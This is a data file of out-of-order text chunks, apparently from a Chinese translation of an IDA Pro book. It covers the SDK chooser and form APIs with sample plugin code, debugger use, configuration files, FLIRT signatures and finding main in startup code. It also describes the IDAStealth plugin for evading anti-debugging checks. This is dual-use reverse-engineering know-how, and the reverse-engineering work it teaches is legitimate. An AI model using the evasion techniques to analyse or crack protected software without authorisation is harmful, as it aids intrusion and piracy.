有许多专门讨论漏洞分析的书 2 ，在一本专门介绍 IDA 的书中，仅仅一章内容不可能全面描述漏洞分析这一主题。我们将要做的是假定读者熟悉软件漏洞的一些基本概念（如缓冲区溢出），讨论如何使用 IDA 搜索、分析这些漏洞，并最终为这些漏洞开发出破解程序。 2. 例如，参见Jon Erickson 的Hacking: The Art of Exploitation, 2nd Edition（ http://nostarch.com/hacking2.htm ）。 未知 1.2 何为反汇编 在传统的软件开发模型中，程序员使用编译器、汇编器和链接器中的一个或几个创建可执行程序。为了回溯编程过程（或对程序进行逆向工程），我们使用各种工具来撤销汇编和编译过程。毫不奇怪，这些工具就叫做 反汇编器 和 反编译器 ，名副其实。反汇编器撤销汇编过程，因此，我们可以得到汇编语言形式的输出结果（以机器语言作为输入）。反编译器则以汇编语言甚至是机器语言为输入，其输出结果为高级语言。 在竞争激烈的软件市场中，“恢复源代码”的前景总是充满吸引力。因此，在计算机科学中，开发适用的反编译器仍然是一个活跃的研究领域。下面列举若干原因，说明为何反汇编困难重重。 编译过程会造成损失 。机器语言中没有变量或函数名，变量类型信息只有通过数据的用途（而不是显式的类型声明）来确定。看到一个 32 位的数据被传送，你需要进行一番分析，才能确定这个 32 位数据表示的到底是一个整数、一个 32 位浮点值还是一个 32 位指针。 编译属于多对多操作 。这意味着源程序可以通过许多不同的方式转换成汇编语言，而机器语言也可以通过许多不同的方式转换成源程序。因此，编译一个文件，并立即反编译，可能会得到与输入时截然不同的源文件。 反编译器非常依赖于语言和库 。用专门用来生成 C 代码的反编译器处理由 Delphi 编译器生成的二进制文件，可能会得到非常奇怪的结果。同样，用对 Windows 编程API 一无所知的反编译器处理编译后的 Windows 二进制文件，也不会得到任何有用的结果。 要想准确地反编译一个二进制文件，需要近乎完美的反汇编能力 。几乎可以肯定，反汇编阶段的任何错误或遗漏都会影响反编译代码。 第23 章将介绍当今市场上最复杂的反编译器 Hex-Rays 。"},
    {"text": "为向用户显示一列信息，最简单的 choose 函数代码如下所示，其中省略了一些默认参数： ulong choose(void *obj, int width, ulong (idaapi *sizer)(void *obj), char *(idaapi *getline)(void *obj, ulong n, char *buf), const char *title); 在这个例子中， obj 参数是一个指向即将显示的数据块的指针， width 参数是“选择器”窗口所使用的列宽。"},
    {"text": "getline 参数也是一个指向某函数的指针，该函数能够生成 obj 选择的一个项的字符串表示形式。 值得注意的是，只要 sizer 函数能够解析相关数据来确定显示该数据所需的行数，且 getline 函数能够使用一个整数索引定位某数据项，并生成该数据项的字符串表示形式，则 obj 指针能够指向任何类型的数据。"},
    {"text": "代码清单 17-2 choose函数的示例用法 #include //The sample data to be displayed int data[] = {0xdeafbeef, 0xcafebabe, 0xfeedface, 0}; //this example expects obj to point to a zero //terminated array of non-zero integers. ulong idaapi idabook_sizer(void *obj) { int *p = (int*)obj; int count = 0; while (*p++) count++; return count; } /* * obj In this example obj is expected to point to an array of integers * n indicates which line (1..n) of the display is being formatted. * if n is zero, the header line is being requested. * buf is a pointer to the output buffer for the formatted data. IDA will * call this with a buffer of size MAXSTR (1024). */ char * idaapi idabook_getline(void *obj, ulong n, char *buf) { int *p = (int*)obj; if (n == 0) { //This is the header case qstrncpy(buf, \"Value\", strlen(\"Value\") + 1); } else { //This is the data case qsnprintf(buf, 32, \"0x%08.8x\", p[n - 1]); } return buf; } void idaapi run(int arg) { int choice = choose(data, 16, idabook_sizer, idabook_getline, \"Idabook Choose\"); msg(\"The user's choice was %d\\n\", choice); } 激活代码清单 17-2 中的插件将生成如图 17-4 所示的“选择器”对话框。"},
    {"text": "同样，我们分析这个函数的最简单版本，接受所有可能的默认参数，如下所示： ulong choose2(void *obj, int ncol, const int *widths, ulong (idaapi *sizer)(void *obj), void (idaapi *getline)(void *obj, ulong n, char* const *cells), const char *title); 可以看到， choose2 函数与前面提到的 choose 函数有一些不同。"},
    {"text": "代码清单 17-3 choose2 函数的用法 #include //The sample data to be displayed int data[] = {0xdeafbeef, 0xcafebabe, 0xfeedface, 0}; //The width of each column int widths[] = {16, 16, 16}; //The headers for each column char *headers[] = {\"Decimal\", \"Hexadecimal\", \"Octal\"}; //The format strings for each column char *formats[] = {\"%d\", \"0x%x\", \"0%o\"}; //this function expects obj to point to a zero terminated array //of non-zero integers. ulong idaapi idabook_sizer(void *obj) { int *p = (int*)obj; int count = 0; while (*p++) count++; return count; } /* * obj In this function obj is expected to point to an array of integers * n indicates which line (1..n) of the display is being formatted. * if n is zero, the header line is being requested. * cells is a pointer to an array of character pointers. This array * contains one pointer for each column in the chooser. The output * for each column should not exceed MAXSTR (1024) characters.*/ void idaapi idabook_getline_2(void *obj, ulong n, char* const *cells) { int *p = (int*)obj; if (n == 0) { for (int i = 0; i 3; i++) { qstrncpy(cells[i], headers[i], widths[i]); } } else { for (int i = 0; i 3; i++) { qsnprintf(cells[i], widths[i], formats[i], p[n - 1]); } } } void run(int arg) { int choice = choose2(data, 3, widths, idabook_sizer, idabook_getline_2, \"Idabook Choose2\"); msg(\"The choice was %d\\n\", choice); } 使用代码清单 17-3 中的代码生成的多列“选择器”对话框如图 17-5 所示。"},
    {"text": "17.6.2 使用SDK创建自定义表单 SDK 还提供了 AskUsingForm_c 函数，用于创建更加复杂的用户界面元素。 这个函数的原型如下所示： int AskUsingForm_c(const char *form,...); 这个函数看似非常简单，却是 SDK 中最为复杂的用户界面函数之一。"},
    {"text": "form 参数本质上是一个描述各种输入元素布局的格式字符串，所以 AskUsingForm_c 与 printf 类似。 printf 格式字符串利用被格式化数据替代的输出格式符，而 AskUsingForm_c 格式字符串则由输出说明符和表单字段说明符组成，在显示表单时，后者由输入元素实例替代。 与 printf 相比， AskUsingForm_c 使用一组截然不同的输出字段说明符。"},
    {"text": "Input field types va_list parameter ----------------- ----------------- A - ascii string char* at least MAXSTR size S - segment sel_t* N - hex number, C notation uval_t* n - signed hex number, C notation sval_t* L - default base (usually hex) number, ulonglong* C notation l - default base (usually hex) number, longlong* signed C notation M - hex number, no \"0x\" prefix uval_t* D - decimal number sval_t* O - octal number, C notation sval_t* Y - binary number, \"0b\" prefix sval_t* H - char value, C notation sval_t* $ - address ea_t* I - ident char* at least MAXNAMELEN size B - button formcb_t button callback function K - color button bgcolor_t* C - checkbox ushort* bit mask of checked boxes R - radiobutton ushort* number of selected radiobutton 所有数字字段将用户提交的输入解释成一个 IDC 表达式，当用户单击对话框的 OK按钮时，IDA 将解析这个表达式并估算它的值。"},
    {"text": "formcb_t 函数的定义如下： // callback for buttons typedef void (idaapi *formcb_t)(TView *fields[],int code); 这个按钮回调函数的 code 参数表示与被单击的按钮关联的代码（宽度）值。"},
    {"text": "这些字段使用的格式如下所示： <#item hint#label:type> 要对单选按钮和复选框分组，可以按顺序列出它们的说明符，并使用下面的特殊格式（注意末尾的另一个>）表示列表的结尾部分。 #item hint#label:type 你可以将一个单选按钮（或复选框）组用框框住，以突出显示。"},
    {"text": "在指定组中的第一个元素时，你可以通过一个特殊的格式为框提供标题，如下所示： #item hint#title#box hint#label:type 如果想要一个框标题，但不需要任何提示，可以省略提示，最终的格式说明符如下所示： <##title##label:type> 现在看一下使用 AskUsingForm_c 创建对话框的一个例子。"},
    {"text": "除了表单字段说明符以外，格式字符串可能还包含在生成的对话框中逐字显示的静态文本。 此外，格式字符串还包含一个对话框标题（后面必须带两个换行符）、一个或几个行为指令（如 STARTITEM ，它指定对话框第一次显示时最初处于活动状态的表单字段的索引）。 用于创建图17-6所示对话框的格式字符串如下所示： char *dialog = \"STARTITEM 0\\n\" //The first item gets the input focus \"This is the title\\n\\n\" //followed by 2 new lines \"This is static text\\n\" \"<String:A:32:32::>\\n\" //An ASCII input field, need char[MAXSTR] \"<Decimal:D:10:10::>\\n\" //A decimal input field, sval_t* \"<#No leading 0x#Hex:M:8:10::>\\n\" //A Hex input field with hint, uval_t* \"<Button:B::::>\\n\" //A button field with no code, formcb_t \"<##Radio Buttons##Radio 1:R>\\n\" //A radio button with box title \"<Radio 2:R>>\\n\" //Last radio button in group //ushort* number of selected radio \"<##Check Boxes##Check 1:C>\\n\" //A checkbox field with a box title \"<Check 2:C>>\\n\"; //Last checkbox in group //ushort* bitmask of checks 通过格式化对话框元素，每行一个元素，可以将每个字段说明符与它们在图 17-6 中对应的字段轻松地对应起来。"},
    {"text": "下面的插件代码可用于显示上面的示例对话框并处理任何结果： void idaapi button_func(TView *fields[], int code) { msg(\"The button was pressed!\\n\"); } void idaapi run(int arg) { char input[MAXSTR]; sval_t dec = 0; uval_t hex = 0xdeadbeef; ushort radio = 1; //select button 1 initially ushort checkmask = 3; //select both checkboxes initially qstrncpy(input, \"initial value\", sizeof(input)); if (AskUsingForm_c(dialog, input, &dec, &hex, button_func, &radio, &checkmask) == 1) { msg(\"The input string was: %s\\n\", input); msg(\"Decimal: %d, Hex %x\\n\", dec, hex); msg(\"Radio button %d is selected\\n\", radio); for (int n = 0; checkmask; n++) { if (checkmask & 1) { msg(\"Checkbox %d is checked\\n\", n); } checkmask >>= 1; } } } 注意，在处理单选按钮和复选框结果时，每组中的第一个按钮被视为“按钮 0”。"},
    {"text": "这个插件使用下面的 SDK 代码获得IDA 主窗口的一个句柄： 5. 参见 http://www.idabook.com/ida-x86emu 。 HWND mainWindow = (HWND)callui(ui_get_hwnd).vptr; ida-x86emu 现在并没有整合到 IDA 工作区中，只是使用 IDA 主窗口作为父窗口。"},
    {"text": "这个插件的所有对话框界面全都使用 Windows 资源编辑器生成，所有用户交互则通过直接调用 Windows API 函数来处理。 使用图形对话框编辑器并直接调用本地 Windows API函数，可以实现最强大的用户界面生成功能，但这种方法非常复杂，而且需要使用者了解其他一些知识，如处理Windows消息以及使用低级的界面函数。"},
    {"text": "ftp://ftp.qt.nokia.com/qt/source/qt-win-opensource-4.7.2-vs2008.exe 请从以下地址下载 Linux和OS X版本的源代码： ftp://ftp.qt.nokia.com/qt/source/qt-everywhere-opensource-src-4.7.2.tar.gz 请参阅Daniel 的博客文章了解用于配置源代码的特定命令。"},
    {"text": "虽然 IDA 附带了大量Qt 动态链接库（参见 目录了解完整列表），但 SDK 附带的用于 Windows 的Qt 链接库的数量非常有限（主要包括QtCore4和QtGui），这些库可以在/lib/x86_win_qt目录中找到。"},
    {"text": "通过明确引用全局命名空间，可以调用这些函数的IDA 版本，如下所示： unsigned int len = ::qstrlen(myString); 如果你需要为你在插件中创建的任何部件提供一个父部件（parent widget），使用下面的语句将获得一个指向 idaq 的顶级应用程序窗口的指针： QWidget *mainWindow = QApplication::activeWindow(); 这个语句调用Qt QApplication 类中的一个静态方法，并返回任何Qt应用程序中唯一的 QApplication 对象的部件指针。"},
    {"text": "具体而言，其中包含示例代码，它用于创建一个空部件（使用 create_tform ），使用回调以接收正显示表单的通知，获得指向新建表单的QWidget 指针，以及最终使用一个 Qt按钮对象填写该表单。"},
    {"text": "未知 10.3 小结 虽然GUI 版本的 IDA 仍然是功能最全面的版本，但控制台模式和批处理功能为 IDA 用户提供了极大的灵活性，可利用 IDA 的自动分析功能创建复杂的分析解决方案。 迄今为止，我们已经涵盖了 IDA 的所有基本功能，现在，是时候讨论高级功能了。在接下来的几章中，我们将介绍 IDA 的一些更加有用的配置选项，以及其他专用于改善 IDA 的二进制文件分析功能的实用工具。"},
    {"text": "第一，大多数调试器能够 依附到 一个正在运行的进程上（假设用户拥有此权限）。 根据你所使用的调试器，调试器本身也许能够提供一个可供它自己选择的可用进程列表。 如果调试器不具备这样的能力，则用户必须确定想要依附的进程的ID，然后命令调试器依附到指定的进程上。 调试器依附进程的具体方式因操作系统而异，这一内容不在本书的讨论范围之列。"},
    {"text": "依附一个现有的进程时，你不可能监视或控制这个进程的初步启动顺序，因为在你有机会依附进程之前，它的所有启动和初始化代码已经执行完毕。"},
    {"text": "图24-3 有数据库打开时的调试器菜单 如果此菜单（或与之非常相似的菜单）并未显示，则你可能尚未为用户当前打开的文件类型指定调试器。 这时，Debugger ▶Select Debugger （调试器▶选择调试器）将根据当前的文件类型显示适合的调试器列表。"},
    {"text": "一个典型的调试器选择对话框如图 24-4 所示。 图24-4 调试器选择对话框 通过选中该对话框底部的复选框，你可以为当前文件类型选择默认调试器。"},
    {"text": "如果 IDA 找不到名称相匹配的进程，IDA 将显示包含每一个正在运行进程的列表，让你自己来选择所要依附到的正确进程。 你可以随时依附到任何显示的进程，但 IDA 无法保证启动该进程使用的是加载到打开的 IDA 数据库中的同一个二进制映像。"},
    {"text": "在 Windows 系统上，IDA 会对显示的进程列表进行过滤，只留下那些加载了对应的.dll 文件的进程。 例如，如果你当前正在IDA 中分析 wininet.dll文件，那么当你选择 Debugger ▶Attach to Process 时，只会看到那些当前已加载wininet.dll的进程。"},
    {"text": "由于IDA没有打开数据库，你可以通过 Debugger ▶Run 来启动一个新进程。 如果 IDA 打开了一个数据库，则可以通过 Debugger ▶Start Process或Debugger ▶Run to Cursor 启动一个新进程。"},
    {"text": "如果使用前一个命令，新进程将继续执行，直到它遇到一个断点（你需要在选择 Debugger ▶Start Process之前设置），或者直到你选择使用Debugger ▶Pause Process 使该进程暂停。 使用Debugger ▶Run to Cursor 将在启动新进程之前，在当前光标位置设置一个断点。"},
    {"text": "这时，新进程将继续执行，直到它到达当前光标位置或者遇到一个较早的断点。 如果执行永远无法到达当前光标位置（或任何其他断点），该进程将继续运行，直到你强制暂停或终止（Debugger ▶Terminate Process）该进程。"},
    {"text": "如果你调试的是一个模糊程序，那么控制启动顺序就显得特别重要，因为你往往希望在去模糊程序完成任务之后，进程开始执行其正常操作之前，立即暂停该进程。"},
    {"text": "运行远程调试服务器后，IDA 将能够与该服务器通信，在远程计算机上启动目标进程，或依附到该进程。 对于 Windows CE ARM设备，IDA 使用 ActiveSync与远程设备通信，并远程安装调试服务器。 IDA 还能够与 GUN Debugger（gdb） 1 的gdbserver 2 组件通信，或与链接到合适的 gdb 远程存根 3 的程序通信。"},
    {"text": "1. 参见 http://www.gnu.org/software/gdb/ 。 2. 参见 http://www.sourceware.org/gdb/current/onlinedocs/gdb/Server.html#Server 。 3. 参见 http://www.sourceware.org/gdb/current/onlinedocs/gdb/Remote-Stub.html#Remote-Stub 。"},
    {"text": "和任何其他调试器一样，如果你想使用 IDA 的调试器启动新进程，需要在调试主机上提供原始的可执行文件，而且，你需要使用运行 IDA 的用户的完全权限执行这个原始的二进制文件。"},
    {"text": "任何时候，只要你选择 Debugger ▶Start Process（或者在打开数据库时选择Debugger ▶Attach to Process ），IDA 将显示如下所示的调试器警告消息，向你警告这种可能性。"},
    {"text": "未知 25.4 IDAStealth 虽然前一节讨论的 HideDebugger 脚本有助于说明调试器的基本编程功能及“钩住”库函数的一些基础知识，但鉴于现有反调试技巧的庞大数量以及这些技巧的复杂程度，我们需要更加强大的防反调试功能，而这种功能却是简单的脚本所无法提供的。幸好IDAStealth 插件可满足我们对于强大的调试器隐藏功能的需求。IDAStealth 由Jan Newger 编写，是 Hex-Rays 2009年度插件编写竞赛的冠军插件。该插件以 C++ 编写，并提供源代码和二进制两个版本。 表25-1 IDAStealth 插件 名称 IDAStealth 作者 Jan Newger 发布 C++源代码与二进制版本 价格 免费 描述 Windows调试器隐藏插件 信息 http://www.newgre.net/idastealth/ IDAStealth 的二进制组件由一个插件与一个帮助程序库组成，这两个插件都必须安装到<IDADIR>/plugins 目录中。激活后，IDAStealth 将显示如图25-6 所示的配置对话框。 图25-6 IDAStealth 配置对话框 你可以使用几个包含大量选项的选项卡来确定采用哪些防反调试技巧。激活后，IDAStealth将开始规避几乎每一种已知的调试器检测技巧，包括那些在 Falliere的文章中讨论的技巧以及由之前开发的 HideDebugger.idc脚本解决的技巧。"},
    {"text": "多数情况下，配置文件存储在<IDADIR>/cfg 目录中。 插件配置文件是唯一的例外，它的位置为<IDADIR>/plugins/plugins.cfg（plugins.cfg 将在第17 章中介绍）。"},
    {"text": "通常，适用于所有 IDA 版本的选项保存在 ida.cfg 文件中，而idagui.cfg和idatui.cfg 中的选项分别针对 IDA 的GUI 版本和文本模式的版本。"},
    {"text": "早在启动过程中，IDA 就读取了这个文件，给各种文件扩展名分配默认的处理器类型，并调整 IDA 的内存使用参数。 指定处理器类型后，IDA 会再次读取这个文件，以处理其他配置选项。"},
    {"text": "如第9 章所述，ida.cfg 中的常规选项包括内存调整参数（ VPAGESIZE ）、是否创建备份文件（ CTEATE_BACKUPS ）以及外部图形查看器的名称（ GRAPH_VISUALIZER ）。"},
    {"text": "它们包括要显示的操作码字节数的默认值（ OPCODE_BYTES ）、指令的缩进距离（ INDENTATION ）、栈指针偏移量是否应与每条指令一起显示（ SHOW_SP ）、每一行反汇编代码中显示的交叉引用的最大数量（ SHOW_XREFS ）。"},
    {"text": "这个选项的默认设置为 15 个字符，如果你输入的名称的长度超出了这个限制，IDA 将显示一条警告消息。 这个默认值较小，因为有些汇编器无法处理超过 15 个字符的名称。"},
    {"text": "此外，使用idauser.cfg ，你可以更直接地将定制的选项由一个 IDA 版本迁移到另一个 IDA 版本。 例如，使用 idauser.cfg ，每次升级 IDA 后，你不再需要重新编辑 ida.cfg 文件，而只需要将现有的 idauser.cfg 复制到新版的IDA 中。"},
    {"text": "如果指定了一个补充帮助文件，按下 CTRL+F1，IDA 将打开这个文件，并在其中搜索与光标所在位置的单词相匹配的主题。 如果没有找到相匹配的主题，IDA 将进入这个帮助文件的目录。"},
    {"text": "关于补充帮助文件，唯一需要注意的是：IDA 仅支持旧版的 WinHelp帮助文件（.hlp ），不支持将已编译 HTML 帮助文件（.chm ）作为次要帮助文件。"},
    {"text": "热键重新分配可用在许多情况下，包括通过热键执行额外的命令，将默认的热键组合更改为更加易于记忆的热键组合，或者更改某些热键，避免它们与操作系统或终端应用程序（主要用于控制台版本的 IDA ）使用的其他热键造成冲突。"},
    {"text": "遗憾的是，这里的命令名称与 IDA 的菜单文本并不匹配，因此，你可能需要付出一定的努力，才能将配置文件中的选项与特定的菜单选项对应起来。"},
    {"text": "此外，许多命令带有描述其用途的注释，但许多命令根本就没有任何注释，因此，你必须根据命令在配置文件中的名称，来决定这个命令的作用。"},
    {"text": "有助于你确定与一个配置文件操作对应的菜单项的技巧是在 IDA 的帮助系统中 搜索 该操作。 一般而言，通过这种搜索，你就可以找到与这项操作对应的菜单项的说明。"},
    {"text": "下面是在 idagui.cfg中分配热键的例子： \"Abort\" = 0 // Abort IDA, don't save changes \"Quit\" = \"Alt-X\" // Quit to DOS, save changes 第一行代码是 IDA 的Abort 命令的热键分配，在这里，它并没有分配到热键。"},
    {"text": "idagui.cfg 的最后一个部分将文件类型说明与它们相关的文件扩展名关联起来，并指定在File▶Open对话框的文件类型下拉列表中显示哪些文件类型。"},
    {"text": "配置文件已经描述了大量文件类型，但是，如果你需要经常使用一种配置文件并未描述的文件类型，可能需要编辑文件类型列表，将你的文件类型添加到这个列表中。"},
    {"text": "CLASS_JAVA, \"Java Class Files\", \"*.cla*;*.cls\" 这个代码行包括 3 个以逗号分隔的部分：关联的名称（ CLASS_JAVA ）、一段说明和一个文件名模式。"},
    {"text": "我们可以定义自己的文件关联，如下所示： IDA_BOOK, \"Ida Book Files\", \"*.book\" 我们可以为关联选择任何名称，只要 IDA 还没有使用这个名称。"},
    {"text": "与idauser.cfg 文件一样，idagui.cfg的最后一行提供一条指令来包含一个名为<IDADIR>/cfg/ idauserg.cfg 的文件。 如果不想编辑 idagui.cfg，就需要创建 idauserg.cfg 文件，并将你希望重写的所有选项添加到这个文件中。 11.1.3 控制台配置文件：idatui.cfg 对控制台版本的 IDA 用户而言，与 idagui.cfg类似的文件为<IDADIR>/cfg/idatui.cfg。 这个文件的布局和功能与 idagui.cfg非常相似。"},
    {"text": "首先， DISPLAY_PATCH_SUBMENU 和 DISPLAY_COMMAND_LINE 这两个选项在控制台版本中无效，因此，idatui.cfg 文件中并不包含这些选项。 相对于GUI 版本中的File ▶Open对话框，控制台版本中的对话框要简单得多，因此，idatui.cfg 文件中没有idagui.cfg 文件所包含的全部文件关联命令。"},
    {"text": "你可以在 idatui.cfg 文件中找到几个宏实例，不过<IDADIR>/cfg/idausert.cfg（控制台版本中与 idauserg.cfg 对应的文件）才是你保存你所创建的宏的理想位置。 默认的 idatui.cfg文件中包含一个样本宏，如下所示（在真正的 idatui.cfg 中，这个宏并没有注释）： ➊ MACRO ➋ \"Alt-H\" // this sample macro jumps to \"start\" label { \"G\" 's' 't' 'a' 'r', 't' \"Enter\" } 宏定义由 MACRO 关键字（➊）引入，后面紧跟这个宏的热键（➋）。"},
    {"text": "最后，关于配置文件选项，需要注意的是，如果 IDA 在解析配置文件时遇到任何错误，它都会立即终止，并显示一条错误消息，尝试描述问题的本质。"},
    {"text": "未知 12.1 快速库识别和鉴定技术 库快速识别和鉴定技术，简称 FLIRT 1 ，是 IDA 用于识别库代码的一组技术。FLIRT 的核心是各种模式匹配算法，这些算法使 IDA 能够迅速确定：一个经过反汇编的函数是否与 IDA 已知的许多签名中的某一个相匹配。IDA 自带的签名文件保存在—<IDADIR>/sig目录中，其中的大多数库是常见的 Windows 编译器自带的库，当然其中也包括一些非 Windows 签名。 1. 参见 http://www.hex-rays.com/idapro/flirt.htm 。 签名文件利用一种自定义格式将大量签名数据压缩并封装到一个特定于 IDA 的头文件中。多数情况下，签名文件名并不能清楚说明相关签名是由哪个库生成的。根据签名文件的创建方式，签名文件中可能包含一个描述其内容的库名称注释。查看从某个签名文件中提取出来的ASCII内容的前几行代码，通常可以找到这段注释。通常，下面的Unix 命令 2 可以在第二或第三行输出结果中显示上述注释： 2. strings 命令已在第2 章讨论，而head命令用于查看其输入的前几行（这里为3 行）代码。 # strings sigfile | head -n 3 在IDA 中，有两种方法可以查看与签名文件有关的注释。首先，你可以通过View ▶Open Subviews ▶Signatures访问应用于某个二进制文件的签名列表。其次，在手动签名应用程序中，所有签名文件的列表将会显示出来，你可以通过File ▶Load File ▶FLIRT Signature File打开这个列表。 未知 4.7 小结 熟悉IDA 工作区可显著提高你使用 IDA 的熟练程度。如果不能充分利用手中的工具，对二进制代码进行逆向工程将会困难重重。你在初始加载阶段和 IDA 随后执行的自动分析过程中选择的选项，将为你接下来的分析工作做好准备。初步分析完成后，你可能已经满足于 IDA 替你完成的任务。对于简单的二进制文件而言，自动分析就已经足够了。另外，如果你想知道如何与IDA 交互，可以更深入地研究 IDA 各种数据显示窗口的功能。接下来的几章将介绍 IDA 的主要数据显示窗口中的每一个及其适用场合，以及如何利用这些窗口来扩充和更新数据库。 未知 22.5 小结 记住，IDA 并不是一种“万能”解决方案，能够发现二进制文件中的所有漏洞。如果你的最终目标是只使用 IDA 执行漏洞分析，那么尽可能最大限度地使分析过程自动化，将不失为一种明智之举。当开发用于分析二进制文件的算法时，你应该始终考虑如何使这些算法自动化，以在将来的分析过程中节省时间。最后，要明白一点，无论阅读多少最佳图书，你都不可能精通漏洞分析与破解程序开发。如果你希望培养自己的技能，实践是唯一的途径。有大量的站点提供了培养这种技能的实践。Wargames（ http://www.overthewise.org/wargames/ ）就是一个不错的起点。"},
    {"text": "未知 20.3 定位main函数 如果你足够幸运，拥有你想要分析的 C/C++ 程序的源代码，那么，最好将 main 函数作为你分析的起点，因为从理论上讲，这里是执行开始的地方。"},
    {"text": "IDA利用特殊的启动签名来识别一个程序的 main 函数。 如果IDA 能够根据其签名文件中的一个启动顺序匹配一个二进制文件的启动顺序，那么，IDA 就能够基于它对已匹配启动例程的行为的理解，定位一个程序的 main 函数。"},
    {"text": "这一节讨论的重点是你让明白一个事实：有时候，你必须自己设法定位一个程序的 main 函数。 在这类情况下，你需要采取一些方法了解程序如何调用 main 函数。"},
    {"text": "在使用传统 main 函数 1 的C 和C++ 程序中，启动代码的一个责任是设置 main 所需的栈参数、整数 argc （命令行参数的数量）、字符指针数组 argv （一个指针数组，这里的指针指向包含命令行参数的字符串）以及字符指针数组 envp （一个由指向字符串的指针构成的数组，这些字符串包含在程序调用时设置的环境变量）。"},
    {"text": "下面的代码摘自一个动态链接、去除符号的FreeBSD 8.0 二进制文件，它说明 gcc 生成的启动代码如何在 FreeBSD 系统上调用 main 函数： 1. Windows GUI 应用程序需要 WinMain 函数而非 main 函数。"},
    {"text": ".text:08048365 mov dword ptr [esp], offset _term_proc ; func .text:0804836C ➋ call _atexit .text:08048371 ➌ call _init_proc .text:08048376 lea eax, [ebp+arg_0] .text:08048379 mov [esp+8], esi .text:0804837D mov [esp+4], eax .text:08048381 mov [esp], ebx .text:08048384 ➊ call sub_8048400 .text:08048389 ➎ mov [esp], eax ; status .text:0804838C ➍ call _exit 在这段代码中，结果表明，调用 sub_804840 （➊）实际上就是调用 main 函数。"},
    {"text": "这段代码是典型的启动顺序，因为它在调用 main之前调用了初始化函数（ _atexit ➋和 _init_proc ➌），而在 main 函数返回后调用了 _exit 函数（➍）。"},
    {"text": "调用 _exit 可确保程序在 main 函数返回时完全终止，而不是在调用 _exit 后终止。 注意，传递给 _exit 的参数（➎）是 main 函数在 EAX 中返回的值，因此，程序的退出代码为 main 函数的返回值。"},
    {"text": "它同样使用 gcc 创建，是一个动态链接、去除符号的、Linux 系统上的Linux 二进制文件： .text:080482B0 start proc near .text:080482B0 xor ebp, ebp .text:080482B2 pop esi .text:080482B3 mov ecx, esp .text:080482B5 and esp, 0FFFFFFF0h .text:080482B8 push eax .text:080482B9 push esp .text:080482BA push edx .text:080482BB ➊ push offset sub_80483C0 .text:080482C0 ➋ push offset sub_80483D0 .text:080482C5 push ecx .text:080482C6 push esi .text:080482C7 ➌ push offset loc_8048384 .text:080482CC call ___libc_start_main .text:080482D1 hlt .text:080482D1 start endp 在这个例子中， start 仅仅调用了一个函数： __libc_start_main 。"},
    {"text": "调用 __libc_start_ main 的目的是执行在前面的 FreeBSD 例子中执行的所有任务，包括调用 main 函数并最终调用 exit 。 由于 __libc_start_main 是一个库函数，因此，如果它知道 main 函数的确切位置，肯定是通过它的一个参数（这里它似乎有 8 个参数）获知的。"},
    {"text": "第二个因素是，虽然 IDA 基于已识别函数的“序言”，提供了它们的“启发”（这也是 sub_80483C0 和 sub_80483D0 被确定为函数的原因，即使它们同样从未被直接调用），但是， loc_8048384 （main函数）处的函数并没有使用 IDA 能够识别的“序言”。"},
    {"text": "这段“惹事生非”的“序言”（包括注释）如下所示： .text:08048384 loc_8048384: ; DATA XREF: start+17↑o .text:08048384 lea ecx, [esp+4] ; address of arg_0 into ecx .text:08048388 and esp, 0FFFFFFF0h ; 16 byte align esp .text:0804838B push dword ptr [ecx-4] ; push copy of return address .text:0804838E ➊ push ebp ; save caller's ebp .text:0804838F ➋ mov ebp, esp ; initialize our frame pointer .text:08048391 push ecx ; save ecx .text:08048392 ➌ sub esp, 24h ; allocate locals 很明显，这段“序言”包含一个使用 EBP 作为帧指针的函数的传统“序言”的所有要素。"},
    {"text": "和FreeBSD 二进制文件一样，如果前面的 Linux实例碰巧为静态链接，并且去除了符号，那么，它的起始例程将不会有任何变化，只是 __libc_start_main 函数将失去它的名称。"},
    {"text": "下面的启动例程摘自一个 gcc/Cygwin 二进制文件： .text:00401000 start proc near .text:00401000 .text:00401000 var_28 = dword ptr -28h .text:00401000 var_24 = dword ptr -24h .text:00401000 var_20 = dword ptr -20h .text:00401000 var_2 = word ptr -2 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 sub esp, 28h .text:00401006 and esp, 0FFFFFFF0h .text:00401009 fnstcw [ebp+var_2] .text:0040100C movzx eax, [ebp+var_2] .text:00401010 and ax, 0F0C0h .text:00401014 mov [ebp+var_2], ax .text:00401018 movzx eax, [ebp+var_2] .text:0040101C or ax, 33Fh .text:00401020 mov [ebp+var_2], ax .text:00401024 fldcw [ebp+var_2] .text:00401027 ➋ mov [esp+28h+var_28], offset sub_4010B0 .text:0040102E ➊ call sub_401120 很明显，这段代码与前面的 Linux示例存在一些差异。"},
    {"text": "使用gcc/MinGW 构建的Windows 二进制文件可以使用另一种形式的 start 函数，如下所示： .text:00401280 start proc near .text:00401280 .text:00401280 var_8 = dword ptr -8 .text:00401280 .text:00401280 push ebp .text:00401281 mov ebp, esp .text:00401283 sub esp, 8 .text:00401286 mov [esp+8+var_8], 1 .text:0040128D call ds:__set_app_type .text:00401293 ➊ call sub_401150 .text:00401293 start endp 这时，IDA 同样无法识别程序的 main 函数。"},
    {"text": "关于 main 函数的位置，这段代码提供了若干条线索：只有一个非库函数被调用（➊ ， sub_401150 ），该函数似乎并未使用任何参数（而 main 函数应包含参数）。"},
    {"text": "sub_401150 的一部分代码如下所示： .text:0040122A call __p__environ .text:0040122F mov eax, [eax] .text:00401231 ➍ mov [esp+8], eax .text:00401235 mov eax, ds:dword_404000 .text:0040123A ➌ mov [esp+4], eax .text:0040123E mov eax, ds:dword_404004 .text:00401243 ➋ mov [esp], eax .text:00401246 ➊ call sub_401395 .text:0040124B mov ebx, eax .text:0040124D call _cexit .text:00401252 mov [esp], ebx .text:00401255 call ExitProcess 结果我们发现，这里的函数与我们前面看到的与FreeBSD 有关的 start 函数有许多相似之处。"},
    {"text": "sub_401395 可能就是 main 函数，因为它是唯一一个使用 3 个参数（➋、➌和➍）调用的非库函数，而且第三个参数（➍）与库函数 __p__enviro 的返回值有关，这使我们联想到一个事实，即 main函数的第三个参数应该是一个指向环境字符串数组的指针。"},
    {"text": "虽然并未显示，但这段代码在之前还调用了 getmainargs 库函数，以在真正调用 main 函数之前设置 argc 和 argv 参数，并进一步强化一个概念： main 函数即将被调用。"},
    {"text": "Visual C/C++代码的启动例程简洁明了，如下所示： .text:0040134B start proc near .text:0040134B call ___security_init_cookie .text:00401350 jmp ___tmainCRTStartup .text:00401350 start endp 通过应用启动签名，而非因为程序链接到一个包含给定符号的动态库，IDA 识别出两条指令引用的库例程。"},
